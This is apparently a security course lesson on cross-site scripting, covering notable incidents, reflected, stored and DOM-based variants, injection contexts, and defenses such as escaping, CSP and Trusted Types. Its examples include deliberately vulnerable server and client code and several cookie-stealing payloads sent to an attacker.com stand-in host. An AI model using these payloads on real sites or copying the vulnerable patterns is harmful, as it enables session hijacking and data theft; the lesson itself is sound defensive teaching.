# Lesson 7: Cross-Site Scripting (XSS)

## Introduction

In 2005, a 19-year-old programmer named Samy Kamkar discovered he could add custom JavaScript to his MySpace profile, bypassing the site’s security filters. He created what became the first major self-propagating cross-site scripting (XSS) worm. When users viewed his profile, the injected code would:

1. Add Samy as a friend
2. Add “but most of all, Samy is my hero” to their profile
3. Copy itself to their profile, attacking anyone who viewed it

Within 20 hours, over one million MySpace users had unknowingly executed this code, adding Samy as a friend and spreading the worm to their own profiles. The exponential spread brought MySpace’s servers down and resulted in Kamkar’s arrest. Samy’s [account of the events](https://samy.pl/myspace/) and [technical explanation](https://samy.pl/myspace/tech.html) are worth a read.

Thirteen years later, attackers exploited this same class of vulnerability against British Airways’ payment website. By injecting just 22 lines of malicious JavaScript into the payment form, they silently captured credit card numbers, names, and CVV codes during checkout, sending them to a lookalike domain. The attack went undetected for 15 days and compromised 380,000 transactions, leading to a £20M GDPR fine.

Cross-site scripting can affect any system that deals with untrusted user input. Such attacks appear in places you might least expect; for example, a security researcher [gained access to internal Tesla support tools after including JavaScript in his car’s name](https://www.securityweek.com/tesla-awards-researcher-10000-after-finding-xss-vulnerability/). Understanding how to prevent XSS is crucial for anyone building for the web.

## How XSS Works

Cross-Site Scripting occurs when attackers can inject malicious JavaScript code into webpages that other users will view. Consider a webpage that displays a user’s username:

// Server code  
app.get('/profile', (req, res) => {  
 const username = getUsername();  
 res.send(`  
 <h1>Welcome back!</h1>  
 <div>Username: ${username}</div>  
 `);  
});

If an attacker can control the username value, they could inject JavaScript:

const username = '</div><script>alert("hacked!")</script><div>';

This breaks out of the intended HTML structure and injects a new script tag. When other users view this profile, their browsers execute the injected code in the context of the page. This gives the attacker access to:

* The user’s cookies and session data for that site (enabling session hijacking)
* Any sensitive information displayed on the page (credit card numbers, private messages, etc.)
* The ability to make requests to the site with the user’s credentials
* The DOM, allowing modification of what the user sees
* Access to the user’s webcam, location, and other sensitive browser APIs (if the site has permission)

For example, if an attacker can inject this code into a page, they will steal the cookies of any user who executes this:

fetch('https://attacker.com/steal?cookie=' + document.cookie);

## Types of XSS

### Reflected XSS

Reflected XSS happens when the server immediately echoes malicious input back to the user. This typically occurs in search features, error messages, or other responses that include user input.

Example vulnerability:

// Search feature that displays the search query  
app.get('/search', (req, res) => {  
 const query = req.query.q;  
 res.send(`<h1>Search results for ${query}</h1>`);  
});

Attack:

1. Attacker crafts a malicious URL:

* https://example.com/search?q=<script>alert('xss')</script>

1. Attacker sends link to victim (via email, message, etc.)
2. Victim clicks link, sending the payload to the server
3. Server reflects payload back in the response
4. Victim’s browser executes the script

### Stored XSS

In stored XSS (also called persistent XSS), the malicious script is permanently stored on the target server (e.g., in a database) and served to multiple victims. For example, this discussion forum code is vulnerable:

// Server code - storing a comment  
app.post('/comments', (req, res) => {  
 const comment = req.body.comment;  
 // Vulnerability: comment stored without sanitization  
 db.comments.insert(comment);  
});  
  
// Server code - displaying comments  
app.get('/post/:id', (req, res) => {  
 const comments = db.comments.findByPostId(req.params.id);  
 // Vulnerability: comments inserted directly into HTML  
 res.send(`  
 <h1>Post</h1>  
 <div class="comments">  
 ${comments.map(c => `<div>${c}</div>`).join('')}  
 </div>  
 `);  
});

An attacker could post a comment containing malicious JavaScript. Anyone viewing the post would execute this code, even long after the attack was planted. This makes stored XSS particularly dangerous.

### DOM-based XSS

DOM-based XSS occurs client-side, when JavaScript on the page processes data from an untrusted source (like the URL) and writes it to a dangerous DOM sink (like innerHTML). Example:

// Client-side JavaScript  
// Get 'name' from URL: https://example.com/page?name=Bob  
const name = new URL(location.href).searchParams.get('name');  
// Vulnerability: writing URL data directly to innerHTML  
document.getElementById('greeting').innerHTML = 'Hello, ' + name;

An attacker could exploit this with a URL like:

https://example.com/page?name=<img src=x onerror=alert('xss')>

The vulnerability exists entirely in the frontend JavaScript - the server might not even be involved.

## Beware Untrusted Data

XSS vulnerabilities occur when untrusted data (potentially controlled by an attacker) makes its way into webpage content. Common sources include:

* URL parameters: Attackers can craft malicious links, e.g. example.com/search?q=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
* Form fields: Any user input could contain script tags or malicious attributes
* User-generated content: Comments, posts, and profiles are common XSS vectors

However, you must take care with *any* data that may be controlled by an untrusted third party. This includes data that may not come from a typical web page, such as [in-game chat messages](https://hackerone.com/reports/409850), [car configuration](https://www.securityweek.com/tesla-awards-researcher-10000-after-finding-xss-vulnerability/), and [WiFi network names](https://bugs.kde.org/show_bug.cgi?id=423020).

The attack payload may not even be text. For example, imagine a website that processes driver’s license photos using OCR (Optical Character Recognition) to extract the name and other fields. If an attacker uploads an image of a fake license with XSS code where the driver’s name should be, they might be able to execute JavaScript when an administrator views the extracted data.

## XSS Contexts

The XSS payload might come from anywhere, but XSS only happens when improperly *displaying* untrusted data. The proper method for avoiding XSS depends on the context in which we are trying to use untrusted data.

### HTML Content Context

This is when data appears between HTML tags, as text content. Browsers will parse any HTML tags or entities in this context.

Example vulnerability:

const username = getUserInput();  
element.innerHTML = `<div>Hello, ${username}!</div>`;

If the user input is the following string:

<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

Then the browser will render this HTML:

<div>Hello, <script>fetch('https://attacker.com/steal?c='+document.cookie)</script>!</div>

To prevent XSS in this context, we need to escape special characters that could be interpreted as HTML or [HTML entities](https://www.w3schools.com/html/html_entities.asp):

function escapeHtml(unsafe) {  
 return unsafe  
 .replace(/&/g, '&amp;') // Must be first to avoid double-escaping  
 .replace(/</g, '&lt;')  
 .replace(/>/g, '&gt;');  
}  
  
// Usage  
element.innerHTML = `<div>Hello, ${escapeHtml(username)}!</div>`;

### HTML Attribute Context

This is when data appears within HTML attributes. The challenge here is preventing attackers from breaking out of the attribute value and injecting new attributes or tags.

Example vulnerability:

const userTheme = getUserInput();  
element.innerHTML = `<div class="${userTheme}">Hello</div>`;

If the user input is the following string:

dark" onmouseover="fetch('https://attacker.com/steal?c='+document.cookie)

Then the browser will render this HTML:

<div class="dark" onmouseover="fetch('https://attacker.com/steal?c='+document.cookie)">Hello</div>

Proper handling requires both escaping and always using quotes:

function escapeHtmlAttribute(unsafe) {  
 return unsafe  
 .replace(/&/g, '&amp;')  
 .replace(/'/g, '&apos;')  
 .replace(/"/g, '&quot;');  
}  
  
// Usage - always quote attributes!  
element.innerHTML = `<div class="${escapeHtmlAttribute(userColor)}">Hello</div>`;

**Gotcha #1:** For most attributes, escaping values is sufficient. However, beware special attributes like src and href. For example, <script src='USER\_DATA\_HERE'></script> is never safe, even if you escape the attribute value. Attacker-supplied [javascript:](https://developer.mozilla.org/en-US/docs/Web/URI/Schemes/javascript), [data:](https://developer.mozilla.org/en-US/docs/Web/URI/Schemes/data), and file: URLs can be particularly dangerous here.

**Gotcha #2:** Untrusted input needs additional sanitization in on\* attributes. For example, the following code is vulnerable:

<div onmouseover='handleHover(USER\_DATA\_HERE)'>

If the user data is ); alert(document.cookie, then the resulting HTML will be <div onmouseover='handleHover(); alert(document.cookie)'>. Additional characters must be escaped in this context.

### JavaScript Context

This is when data needs to be embedded within JavaScript code. This context is particularly dangerous because it is hard to safely and reliably escape JavaScript in the context of an HTML file.

Example vulnerability:

const userName = getUserInput();  
const script = `  
 <script>  
 const user = "${userName}";  
 showGreeting(user);  
 </script>  
`;

If the user input is the following string:

"; fetch('https://attacker.com/steal?c='+document.cookie); "

Then the browser will render this HTML:

<script>  
 const user = ""; fetch('https://attacker.com/steal?c='+document.cookie); "";  
 showGreeting(user);  
</script>

One way to safely embed user data is to encode it using hexadecimal or base64, embed the encoded string into the script context, and then decode the string from within the script. For example:

const userName = getUserInput();  
const script = `  
 <script>  
 const user = hexDecode("${hexEncode(userName)})";  
 showGreeting(user);  
 </script>  
`;

Alternatively, you can use a [<template> tag](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/template) to store data that won’t visibly render, using HTML element escaping rules, and then fetch the contents from within JavaScript:

const userName = getUserInput();  
const html = `  
 <template id='username'>${escapeHtml(userName)}</template>  
 <script>  
 const user = document.getElementById('username').textContent;  
 showGreeting(user);  
 </script>

### Never-Safe Contexts

Some contexts are inherently unsafe and should never include untrusted data:

<!-- Direct script content -->  
<script>USER\_DATA\_HERE</script>  
  
<!-- HTML comments -->  
<!-- USER\_DATA\_HERE -->  
  
<!-- Tag names -->  
<USER\_DATA\_HERE href="/foo">  
  
<!-- Attribute names -->  
<div USER\_DATA\_HERE="value">  
  
<!-- CSS -->  
<style>USER\_DATA\_HERE</style>

These contexts are particularly dangerous because there are too many ways for attackers to break out of them, making proper escaping virtually impossible.

## Defense Best Practices

### 1. Escape at Render Time

Always escape data when rendering, not when storing or processing. This ensures:

* Data is escaped properly for its context
* Raw data is preserved in the database
* Multiple output formats can be supported

// Bad - escaping at storage time  
app.post('/comments', (req, res) => {  
 const escaped = escapeHtml(req.body.comment);  
 db.comments.insert(escaped); // Don't do this  
});  
  
// Good - escape at render time  
app.get('/post/:id', (req, res) => {  
 const comments = db.comments.findByPostId(req.params.id);  
 res.send(`  
 ${comments.map(c => `<div>${escapeHtml(c)}</div>`).join('')}  
 `);  
});

### 2. Use Framework Features

Modern frameworks provide XSS protection by default. Use these built-in protections instead of writing your own escaping code:

// React automatically escapes values in JSX  
function Comment({ text }) {  
 return <div>{text}</div>; // Safe by default  
}  
  
// Angular automatically escapes interpolated values  
<div>{{comment}}</div> // Safe by default

### 3. Content Security Policy (CSP)

Content Security Policy is a powerful defense mechanism that helps prevent XSS attacks even when other protections fail. While escaping and sanitization try to prevent malicious code injection, CSP provides an additional layer of security by controlling what resources a page can load and execute.

CSP acts as a security guard that checks every resource (scripts, images, styles, etc.) before allowing them to load. By default, CSP blocks potentially dangerous resources unless explicitly allowed by the policy.

#### How CSP Works

When you serve a webpage, you can include a special HTTP response header called Content-Security-Policy that tells the browser what resources are allowed to load. For example:

Content-Security-Policy: default-src 'self'

This simple policy tells the browser: “Only load resources from our own domain.” This means:

* ✅ <script src="/js/app.js"> is allowed (same domain)
* ❌ <script src="https://evil.com/hack.js"> is blocked (different domain)
* ❌ <script>alert('hello')</script> is blocked (inline script)
* ❌ <div onclick="alert('hi')"> is blocked (inline event handler)

#### CSP Directives

CSP provides fine-grained control through different directives. Here are the most important ones:

1. **Resource Loading Directives:**
   * default-src: The fallback for other resource types
   * script-src: Controls JavaScript sources
   * style-src: Controls CSS sources
   * img-src: Controls image sources
   * connect-src: Controls fetch(), XHR, WebSocket connections
   * frame-src: Controls what can be embedded in iframes
2. **Special Directives:**
   * base-uri: Controls allowed URLs in <base> tags
   * form-action: Controls where forms can submit to
   * frame-ancestors: Controls which sites can embed your page
   * report-uri: Where to send violation reports

#### Common CSP Values

For each directive, you can specify various types of allowed sources:

Content-Security-Policy:  
 script-src  
 'self' # Same origin  
 https://trusted.com # Specific domain  
 \*.trusted.com # Subdomains  
 'unsafe-inline' # Inline scripts (dangerous!)  
 'unsafe-eval' # eval() (dangerous!)  
 'nonce-random123' # Specific inline scripts  
 'strict-dynamic' # Trust scripts loaded by trusted scripts

#### An example CSP

Let’s build a policy for a website that needs to:

1. Load its own resources
2. Use Google Analytics
3. Load images from a CDN
4. Prevent framing from other sites

The policy would look as follows:

Content-Security-Policy:  
 default-src 'self'; # Base rule  
 script-src 'self' https://www.google-analytics.com; # GA scripts  
 img-src 'self' https://cdn.example.com; # Images  
 frame-ancestors 'none'; # No framing

#### Modern CSP Best Practices

1. **Use Nonces for Inline Scripts:** Instead of ‘unsafe-inline’, use ***random*** nonces to allow specific inline scripts:

* Content-Security-Policy: script-src 'nonce-random123'
* <script nonce="random123">  
   // This inline script is allowed  
  </script>
* An XSS attacker would not be able to predict the random nonce, so they would not be able to inject a <script> tag that the CSP would allow execution of.

1. **Use strict-dynamic:** This modern approach simplifies policies for complex applications:

* Content-Security-Policy:  
   script-src 'strict-dynamic' 'nonce-random123'
* This allows scripts loaded by trusted scripts, regardless of their origin.

### 4. Trusted Types

[Trusted Types](https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API) is a new, experimental browser security feature that enforces explicit sanitization before using dangerous APIs like innerHTML or eval(). It is not widely available yet, but is under active development. To use it:

1. Enable it in your CSP header:

Content-Security-Policy: trusted-types myPolicy;

1. Create a policy for sanitizing HTML:

const policy = trustedTypes.createPolicy('myPolicy', {  
 createHTML: (string) => {  
 return htmlEscape(string); // Use a sanitizer  
 }  
});

1. Use the policy to create trusted HTML:

async function displayUserContent(userId) {  
 const response = await fetch(`/api/content/${userId}`);  
 const data = await response.text();  
  
 // This throws an error due to Trusted Types policy:  
 document.getElementById('content').innerHTML = data;  
  
 // This works safely due to sanitization:  
 const safeHtml = policy.createHTML(data);  
 document.getElementById('content').innerHTML = safeHtml;  
}

## Conclusion

Cross-Site Scripting remains one of the most prevalent and dangerous web vulnerabilities, in part because attack payloads can come from countless sources - not just form inputs and URLs, but also unexpected vectors like OCR-processed images or system configurations. Each context where untrusted data appears requires specific protections, and some contexts should never include untrusted data at all.

Modern web security provides essential layers of XSS defense through framework-level protections, context-aware escaping, Content Security Policy headers, and the Trusted Types API. However, these tools are only effective when used properly. The key to XSS prevention is adopting a security-first mindset: treat all external data as potentially malicious, prefer restrictive security policies, and carefully review any code that generates HTML or JavaScript dynamically.